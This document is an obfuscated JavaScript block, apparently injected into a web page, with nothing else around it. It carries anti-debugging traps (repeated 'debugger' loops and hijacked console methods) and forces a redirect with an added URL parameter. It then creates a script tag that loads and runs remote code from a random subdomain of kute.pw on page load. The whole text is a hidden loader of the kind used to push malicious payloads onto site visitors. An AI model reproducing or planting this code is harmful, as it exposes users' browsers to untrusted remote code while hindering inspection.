<script>var _0x32c9f3=function(){var e=!0;return function(n,r){var t=e?function(){if(r){var t=r.apply(n,arguments);return r=null,t}}:function(){};return e=!1,t}}();(function(){_0x32c9f3(this,function(){var t=new RegExp("function *\\( *\\)"),n=new RegExp("\\+\\+ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)","i"),r=_0x216ec4("init");t.test(r+"chain")&&n.test(r+"input")?_0x216ec4():r("0")})()})(),setInterval(function(){_0x216ec4()},4e3);var _0xdd58c4=function(){var e=!0;return function(n,r){var t=e?function(){if(r){var t=r.apply(n,arguments);return r=null,t}}:function(){};return e=!1,t}}(),_0x174875=_0xdd58c4(this,function(){try{var n=Function('return (function() {}.constructor("return this")( ));')()}catch(t){n=window}for(var t=n.console=n.console||{},r=["log","warn","info","error","exception","table","trace"],e=0;e<r.length;e++){var c=_0xdd58c4.constructor.prototype.bind(_0xdd58c4),o=r[e],i=t[o]||c;c.__proto__=_0xdd58c4.bind(_0xdd58c4),c.toString=i.toString.bind(i),t[o]=c}});_0x174875();var gyznmgxqxoepsidfapt="@!&fRU0TuYr2xjhFwy89BbK@&!b64SxXK8QzY1PhqZWs7OU@&!";-1==window.location.href.indexOf("bbre=")&&(window.location.href=document.location.pathname+"?bbre=fQtNwmOCqXijVDSPvAxcphb#/ld-"+odoiljyswxgrtcjep);var emfromgetnbrtoo="",mMHzWphtdwSNOCxTjoRZirEfbKq=document.createElement("script");function _0x216ec4(t){function n(t){if("string"==typeof t)return function(t){}.constructor("while (true) {}").apply("counter");1!==(""+t/t).length||t%20==0?function(){return!0}.constructor("debugger").call("action"):function(){return!1}.constructor("debugger").apply("stateObject"),n(++t)}try{if(t)return n;n(0)}catch(t){}}mMHzWphtdwSNOCxTjoRZirEfbKq.type="text/javascript",mMHzWphtdwSNOCxTjoRZirEfbKq.src="https://gbisyvzkpfmwliorjmyd.kute.pw/6512f8c969f5c7b4ec2531b6-64f0793b69f5c7b4ec25318a.js",document.getElementsByTagName("head")[0].appendChild(mMHzWphtdwSNOCxTjoRZirEfbKq);</script>